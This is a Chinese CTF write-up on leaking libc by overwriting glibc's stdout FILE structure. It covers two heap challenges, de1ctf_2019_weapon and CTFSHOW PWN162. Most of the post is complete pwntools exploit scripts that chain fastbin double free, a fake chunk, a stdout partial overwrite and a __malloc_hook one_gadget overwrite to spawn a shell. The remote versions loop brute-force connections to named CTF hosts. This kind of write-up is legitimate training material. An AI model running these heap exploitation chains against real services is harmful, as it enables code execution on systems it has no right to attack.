PWN|IO_FILE利用

利用stdout泄露libc

原理

这种技巧专门用于题目没有show功能的情况下泄露libc基地址。

原理可以直接搜标题,有很多师傅的文章写的很详细:

好好说话之IO_FILE利用(1):利用_IO_2_1_stdout泄露libc_libc泄露方式-CSDN博客

我个人理解:

在write和puts等函数执行时会调用IO_FILE结构体,里面有几个重要的变量:

_IO_write_base:缓冲区起始地址

_IO_write_end:缓冲区结束地址

_IO_write_ptr:缓冲区当前写入位置

假设一开始_IO_write_base=_IO_write_end=0x7abcdef,如果把_IO_write_base改成0x7abcd00,下次调用puts、write等函数时就会把0x7abcd00到0x7abcdef所有内容打出来,里面会有libc基地址相关地址,由于偏移固定,所以就能算出libc基址,达到了泄露目的。

具体的篡改payload通常为:

p64(0xfbad1800) + p64(0)*3 + b'\x00'

为什么这么改?可以看看下面的IO_FILE结构:

struct _IO_FILE {
    int _flags;                // 文件状态标志(高位是 _IO_MAGIC,其余是标志位)
    char* _IO_read_ptr;        // 读缓冲区当前读取位置
    char* _IO_read_end;        // 读缓冲区结束位置
    char* _IO_read_base;       // 读缓冲区基地址
    char* _IO_write_base;      // 写缓冲区基地址
    char* _IO_write_ptr;       // 写缓冲区当前写入位置
    char* _IO_write_end;       // 写缓冲区结束位置
    char* _IO_buf_base;        // 缓冲区基地址
    char* _IO_buf_end;         // 缓冲区结束位置
    char *_IO_save_base;       // 保存缓冲区基地址
    char *_IO_backup_base;     // 备份缓冲区基地址
    char *_IO_save_end;        // 保存缓冲区结束位置
    struct _IO_marker *_markers; // 标记指针,用于跟踪缓冲区的读写位置
    struct _IO_FILE *_chain;   // 链接到下一个文件结构,用于文件链表
    int _fileno;               // 文件描述符
    int _flags2;               // 额外的文件状态标志
    __off_t _old_offset;       // 文件偏移(旧版,已弃用)
    unsigned short _cur_column; // 当前列号(用于支持列计算)
    signed char _vtable_offset; // 虚函数表偏移量
    char _shortbuf[1];         // 短缓冲区(用于小量数据的快速操作)
    _IO_lock_t *_lock;         // 文件锁(用于多线程环境下的文件流操作保护)
};

flag需要改成固定的0xfbad1800,这是为了绕过检查,构造过程可参考:

好好说话之IO_FILE利用(1):利用_IO_2_1_stdout泄露libc_libc泄露方式-CSDN博客

后面紧跟着的三个p64(0)为了覆盖 _IO_read_ptr、 _IO_read_end、 _IO_read_base,这几个没什么用所以直接覆盖0就行,最后 b’\x00’再把 _IO_write_base的最后一字节改成00,假设一开始_IO_write_base=_IO_write_end=0xffff,则此时_IO_write_base=0xff00,再次调用puts或者write就会把0xff00-0xffff之间内容打出来,里面会有libc相关地址,也就达成了泄露目的。

想篡改stdout需要先拿到它的地址,通常是通过main_arena地址间接拿到stdout地址(爆破一字节)。由于fastbin能通过改fd指针任意申请,但是泄露不了main_arena,而unsorted bin能泄露main_arena,但是申请不到那个地方去,即fastbin能申请不能泄露,unsortedbin能泄露不能申请,所以需要借助一个同时在fastbin(或tcache bin)和unsorted bin中的chunk。unsorted bin把main_arena写入到chunk的fd指针后,fastbin就能申请到了。

例题1:de1ctf_2019_weapon

例题地址:https://buuoj.cn/challenges#de1ctf_2019_weapon

参考文章:iofile基础结构以及stdout泄露libc在栈堆的利用原理 – 先知社区

分析

菜单堆,题目有add、delete、edit,无show。

add函数:自定义chunk_size、chunk_index、chunk_data,开辟两个数组,一个存chunk的size大小,一个存chunk的指针。add的大小被限制在fastbin范围内。

delete函数:根据chunk的指针数组来free掉相应的chunk,但没有置空,存在UAF,由于环境是ubuntu 16,所以还有double free。

edit函数:根据索引找到对应chunk指针,然后根据chunk_size的大小对chunk进行修改,所以没有溢出。

过程


首先需要篡改stdout来泄露libc,那就得先知道stdout的地址。
stdout地址与main_arena接近,通过main_arena可以爆破。
而通过unsorted bin可以泄露main_arena。但是题目给的add限制大小,无法free到unsortedbin里面,所以需要通过double free来篡改某个chunk的size,使其free掉后能进入unsorted bin.

通过堆风水可以实现这一点,首先明确一下目标——修改某个chunk的size,使其达到unsorted bin大小。由于开了PIE,所以fastbin的fd指针究竟要取多少是个问题,这里采用间接的方法,依次free掉chunk0、chunk1、chunk0,此时chunk0的fd指针就是chunk1,chunk1的地址只需要改后两位就基本能覆盖所要利用的堆空间,所以将fd后两位改一下,使得能申请到chunk1上方的fakechunk(需要提前在fakechunk处填一下size来绕过检查),通过fakechunk就能修改chunk1的size了,之后再把chunk1 free掉就能扔到unsortedbin去了。不过我在做的途中free chunk1时候会报错,于是选择了chunk2来做victim chunk。

首先double free

add(0x50,0,b'a')
add(0x50,1,b'a'*0x40+p64(0)+p64(6f))#在chunk2上方写一个\x6f,这是fakechunk的size
add(0x50,2,b'aaaa')

free(0)
free(1)
free(0)

然后申请一个chunk,拿到chunk0,把chunk0的fd指针后两位改成\xb0(fakechunk处)

add(0x50,0,b'\xb0')

然后再申请三次即可拿到fakechunk,在申请的同时就能对chunk2的size进行修改

add(0x50,1,'aaaa')
add(0x50,0,'aaaa')
add(0x50,7,p64(0)+p64(0xd1))#拿到fakechunk,在申请的同时对chunk2的size进行修改

可以看到,chunk2的size已经成功修改成d1:

然后把chunk2 free掉,就能进入unsorted bin:

然后把chunk3 free掉,进入fastbin,再通过切割chunk2把main_arena偏移送到chunk3处,就成功实现了“一个同时在fastbin和unsorted bin中的chunk”的效果,就能申请出main_arena偏移处的chunk了:

free(2)
free(3)
add(0x50,8,'a')#把unsorted bin挤到fastbin

但是,申请出main_arena固定偏移处的chunk不顶用,目标是能修改stdout,但是不能直接申请stdout处,因为fastbin有检查。根据经验,距离stdout-0x43有x7f能满足检测,所以需要拿到stdout-0x43处的chunk,stdout-0x43与main_arena仅有最后四字节之差,而stdout-0x43后三字节通常是固定的5dd,所以不确定的就只剩一字节,爆破是1/16的概率:

(查看stdout地址方法 p &stdout)

由于是概率成功,所以建议在本地把ASLR关掉,方便调试:

sysctl -w kernel.randomize_va_space=0

改写stdout的代码:

add(0x50,9,'\xdd\x15')#把unsorted bin取完,后面再申请才能往fastbin里面取,这一步同时修改fd
add(0x60,10,'a')
add(0x60,11,b'a'*0x33+p64(0xfbad1800)+p64(0)*3+b'\x00')#申请两次就能拿到目标地址chunk,直接申请同时修改stdout.

可以看到,修改成功后马上就有东西爆出来了:

把接收的第一个x7f开头的打印出来,可以看到,它与libc基址差了0x3c4600(我用的本地libc,题目原题libc应该是0x3c5600)

那么就能算出libc基址了,然后算one_gadget,用UAF(double free也行)把malloc_hook改one_gadget就行

但是我在改malloc_hook为one_gadget后,再add触发不了one_gadget,可能是得用realloc来调一下栈环境,不过我在别的师傅那学到可以触发double free检测来getshell,原理是什么还不太清楚。

本地已经打通,exp如下:

from pwn import *
io=process('/home/monke/PWN/IO/de1ctf_2019_weapon')
elf = ELF('/home/monke/PWN/IO/de1ctf_2019_weapon')
libc = ELF('/home/monke/Desktop/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so')

def add(size,index,content):
    io.sendlineafter('choice >> ','1')
    io.sendlineafter('wlecome input your size of weapon: ',str(size))
    io.sendlineafter('input index:',str(index))
    io.sendafter('input your name:',content)


def edit(index,content):
    io.sendlineafter('choice >>','3')
    io.sendlineafter('idx: ',str(index))
    io.sendafter('content:',content)

def free(index):
    io.sendlineafter('choice >>','2')
    io.sendlineafter('idx :',str(index))


def pwn():

    add(0x50,0,'aaaa')
    add(0x50,1,b'a'*0x40+p64(0)+p64(0x6f))#在chunk2上方伪造fakechunk的size
    add(0x50,2,'aaaa')
    add(0x60,3,'aaaa')
    add(0x50,4,'aaaa')
    add(0x60,5,'aaaa')

    free(0)
    free(1)
    free(0)

    add(0x50,0,'\xb0')#把chunk0的fd指针改到fakechunk处
    add(0x50,1,'aaaa')
    add(0x50,0,'aaaa')
    add(0x50,7,p64(0)+p64(0xd1))#通过fakechunk修改chunk2的size

    free(2)
    free(3)
    add(0x50,8,'a')#把unsorted bin挤到fastbin
    add(0x50,9,'\xdd\x45')#把unsorted bin取完,后面再申请才能往fastbin里面取

    add(0x60,10,'a')
    add(0x60,11,b'a'*0x33+p64(0xfbad1800)+p64(0)*3+b'\x00')
    #申请两次就能拿到目标地址chunk,直接申请同时修改stdout.


    libc_base = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-0x3c4600
    print(hex(libc_base))
    malloc_hook = libc_base + libc.sym['__malloc_hook']
    one = [0x4525a]
    one_gadget = libc_base+one[0]
    print(hex(one_gadget))
    

    add(0x60,12,'a')
    add(0x60,13,'a')
    free(12)
    free(13)
    edit(13,p64(malloc_hook-0x23))
    add(0x60,14,'a')
    add(0x60,15,b'a'*0x13+p64(one_gadget))
    free(0)
    free(0)
    
pwn()
io.interactive()

远程的话需要爆破,用try except来爆破:

from pwn import *

elf = ELF('/home/monke/PWN/IO/de1ctf_2019_weapon')
libc = ELF('/home/monke/PWN/buulibc/libc-2.23-64.so')

def add(size,index,content):
    io.sendlineafter('choice >> ','1')
    io.sendlineafter('wlecome input your size of weapon: ',str(size))
    io.sendlineafter('input index:',str(index))
    io.sendafter('input your name:',content)


def edit(index,content):
    io.sendlineafter('choice >>','3')
    io.sendlineafter('idx: ',str(index))
    io.sendafter('content:',content)

def free(index):
    io.sendlineafter('choice >>','2')
    io.sendlineafter('idx :',str(index))


def pwn():

    add(0x50,0,'aaaa')
    add(0x50,1,b'a'*0x40+p64(0)+p64(0x6f))#在chunk2上方伪造fakechunk的size
    add(0x50,2,'aaaa')
    add(0x60,3,'aaaa')
    add(0x50,4,'aaaa')
    add(0x60,5,'aaaa')

    free(0)
    free(1)
    free(0)

    add(0x50,0,'\xb0')#把chunk0的fd指针改到fakechunk处
    add(0x50,1,'aaaa')
    add(0x50,0,'aaaa')
    add(0x50,7,p64(0)+p64(0xd1))#通过fakechunk修改chunk2的size
    
    free(2)
    free(3)
    add(0x50,8,'a')#把unsorted bin挤到fastbin
    add(0x50,9,'\xdd\x45')#把unsorted bin取完,后面再申请才能往fastbin里面取
    add(0x60,10,'a')
    #gdb.attach(io)
    add(0x60,11,b'a'*0x33+p64(0xfbad1800)+p64(0)*3+b'\x00')
    #申请两次就能拿到目标地址chunk,直接申请同时修改stdout.
    
    libc_base = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-0x3c5600
    print(hex(libc_base))
    malloc_hook = libc_base + libc.sym['__malloc_hook']
    one = [0x45216,0x4526a,0xf02a4,0xf1147]
    one_gadget = libc_base+one[2]
    print(hex(one_gadget))
    
    add(0x60,12,'a')
    add(0x60,13,'a')
    free(12)
    free(13)
    edit(13,p64(malloc_hook-0x23))
    add(0x60,14,'a')
    add(0x60,15,b'a'*0x13+p64(one_gadget))
    free(0)
    free(0)
    
    io.interactive()
    
if __name__=='__main__':
    while True:
        #io=process('./de1ctf_2019_weapon')
        io = remote('node5.buuoj.cn','26378')
        try:
            pwn()
        except:
            io.close()

例题2:CTFSHOW PWN162

这道题是独立做出来的,把完整思路写了下来,包括遇到的各种坑和疑惑,所以可能会比较繁琐。

分析

add函数:

根据add函数可以看出chunk的结构体

chunk{

*flag

*buf //name

char s[23] //message

}

delete函数:

先把flag置为0,然后把buf给free掉,但是没置为NULL,所以可能有UAF或double free。而且注意,只free了buf,没有free结构体本身。

show函数,没啥用:

只有add和delete,由于没有edit,用不了uaf只能用double free。

过程

首先利用stdout泄露libc。

1.写入main_arena,并改写后两字节成”\xdd\x45″(即stdout-0x43):

本题目chunk申请大小限制在0x7f内,可以申请到unsorted bin大小的chunk。先free掉一个unsorted bin大小的chunk,它会往堆内存写入main_arena+0x??,然后把main_arena改写成”\xdd\x45″。

(程序在add的时候会自动malloc(0x28)的chunk,这一点需要注意)

如下图所示,已经成功写入,其中chunk0设置为0x20,用于add改写main_arena时候刚好被系统自创的chunk取走;chunk1即unsorted bin chunk;chunk2避免与top chunk合并。

2.fastbin attack拿到stdout-0x43处chunk

利用double free,把fd指针最后一位改成”\x90″(即fd为篡改后的main_arena处)即可,但是用于double free的两个chunk需要在unsorted bin的那个chunk前面申请,不然比unsorted bin chunk地址大的话,就不只是最后一字节不一样了,如图:

所以申请的顺序为:

 add(0x20,b"aaaa",b"aaaa")  #0 用于改写main_arena+0x??
 add(0x40,b"aaaa",b"aaaa")  #1 用于double free
 add(0x40,b"aaaa",b"aaaa")  #2 用于double free
 add(0x7f,b"aaaa",b"aaaa")  #3 unsorted bin chunk
 add(0x20,b"aaaa",b"aaaa")  #4 避免合并

可以看到,double free后改写fd,成功往fastbin链上写入了stdout-0x43:

再取四次就能取到目标chunk,但是取第三个的时候报错了,发现是\x90处的size大小跟fastbin中的大小不一致导致的,把修改main_arena的add(0x20,b”\xdd\x45″,b”aaaa”)改成add(0x40,b”\xdd\x45″,b”aaaa”)即可使\x90处大小与fastbin里写的一致。

改完后取到第三个不报错了,但是第四个又报错了,突然想起stdout-0x43处的fakechunk的size是x7f,而自己的fastbin链是0x50,跟上面一样又是fastbin大小不匹配的原因,所以用于double free的chunk必须是0x60到0x6f之间(加上chunk头和对齐就是0x7f)。重新修改exp,把double free的chunk统一成0x60,成功申请并改写:

改写是改写成功了,但是并没有泄露出来,发现是使用自定义add函数来add chunk时,第二个参数就已经完成了改写并泄露了地址,但add函数还有第三个参数需要recvuntil,那就肯定接受不到了,所以不能用add函数,得手写:

后面就是常规计算地址和double free打fastbin attack了:

本地exp(关aslr,无爆破版)

from pwn import *

context.log_level = 'info'

io = process("/home/monke/PWN/CTFSHOW/162")
elf = ELF("/home/monke/PWN/CTFSHOW/162")
libc = ELF("/home/monke/Desktop/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so")


def add(size,name,message):

    io.sendlineafter("choice : ",b'1')
    io.sendlineafter("size of the daniu's name: ",str(size))
    io.sendafter("name:",name)
    io.sendlineafter("message:",message)
    
    
def free(index):
    io.recvuntil("choice : ")
    io.sendline(b'3')
    io.recvuntil("index:")
    io.sendline(str(index))
    
def pwn():
   
    add(0x20,b"aaaa",b"aaaa")  #0 用于改写main_arena+0x??
    add(0x60,b"aaaa",b"aaaa")  #1 用于double free
    add(0x60,b"aaaa",b"aaaa")  #2 用于double free
    add(0x7f,b"aaaa",b"aaaa")  #3 unsorted bin chunk
    add(0x20,b"aaaa",b"aaaa")  #4 避免合并
    
    free(0)
    free(3)
   
    add(0x60,b"\xdd\x45",b"aaaa") 
    #gdb.attach(io)
    
    #没有edit,用不了uaf只能用double free
    free(1)
    free(2)
    free(1)
    #gdb.attach(io)
    add(0x60,b"\xd0",b"\xd0")#write fd
    
    
    add(0x60,b"a",b"a")
    add(0x60,b"a",b"a")
    add(0x60,b"a",b"a")
   
    io.sendlineafter("choice : ",b'1')
    io.sendlineafter("size of the daniu's name: ",str(0x60))
    io.sendafter(b"daniu's name:",b'A'*0x33 + p64(0xfbad1800) + p64(0)*3 + b'\x00')
    #gdb.attach(io)
    leak = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
    print(hex(leak))
    libc_base=leak-0x3c4600
    og=libc_base+0x4525a
    malloc_hook=libc_base+libc.sym["__malloc_hook"]
    io.sendline(b'a')
    #attack
    
    free(1)
    free(2)
    free(1)
    #gdb.attach(io)
    add(0x60,p64(malloc_hook-0x23),b"aaaa")
    add(0x60,b"a",b"a")
    add(0x60,b"a",b"a")
    add(0x60,b'a'*0x13+p64(og),b'a')
    
    free(0)
    free(0)
    io.interactive()
    
pwn()

远程exp(爆破):

from pwn import *

context.log_level = 'info'

def add(size,name,message):

    io.sendlineafter("choice : ",b'1')
    io.sendlineafter("size of the daniu's name: ",str(size))
    io.sendafter("name:",name)
    io.sendlineafter("message:",message)
    
    
def free(index):
    io.recvuntil("choice : ")
    io.sendline(b'3')
    io.recvuntil("index:")
    io.sendline(str(index))
    
def pwn():
   
    add(0x20,b"aaaa",b"aaaa")  #0 用于改写main_arena+0x??
    add(0x60,b"aaaa",b"aaaa")  #1 用于double free
    add(0x60,b"aaaa",b"aaaa")  #2 用于double free
    add(0x7f,b"aaaa",b"aaaa")  #3 unsorted bin chunk
    add(0x20,b"aaaa",b"aaaa")  #4 避免合并
    
    free(0)
    free(3)
   
    add(0x60,b"\xdd\x45",b"aaaa") 
    #gdb.attach(io)
    
    #没有edit,用不了uaf只能用double free
    free(1)
    free(2)
    free(1)
    #gdb.attach(io)
    add(0x60,b"\xd0",b"\xd0")#write fd
    
    
    add(0x60,b"a",b"a")
    add(0x60,b"a",b"a")
    add(0x60,b"a",b"a")
   
    io.sendlineafter("choice : ",b'1')
    io.sendlineafter("size of the daniu's name: ",str(0x60))
    io.sendafter(b"daniu's name:",b'A'*0x33 + p64(0xfbad1800) + p64(0)*3 + b'\x00')
    #gdb.attach(io)
    leak = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
    print(hex(leak))
    libc_base=leak-0x3c5600
    one = [0x45216,0x4526a,0xf02a4,0xf1147]
    og= libc_base+one[2]
    malloc_hook=libc_base+libc.sym["__malloc_hook"]
    io.sendline(b'a')
    #attack
    
    free(1)
    free(2)
    free(1)
    #gdb.attach(io)
    add(0x60,p64(malloc_hook-0x23),b"aaaa")
    add(0x60,b"a",b"a")
    add(0x60,b"a",b"a")
    add(0x60,b'a'*0x13+p64(og),b'a')
    
    free(0)
    free(0)
    io.interactive()
    
if __name__=='__main__':
    while True:
        #io=process('/home/monke/PWN/CTFSHOW/1/162')
        io = remote('pwn.challenge.ctf.show',28164)
        elf = ELF("/home/monke/PWN/CTFSHOW/1/162")
        libc = ELF("/home/monke/PWN/buulibc/libc-2.23-64.so")
        try:
            pwn()
        except:
            io.close()
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇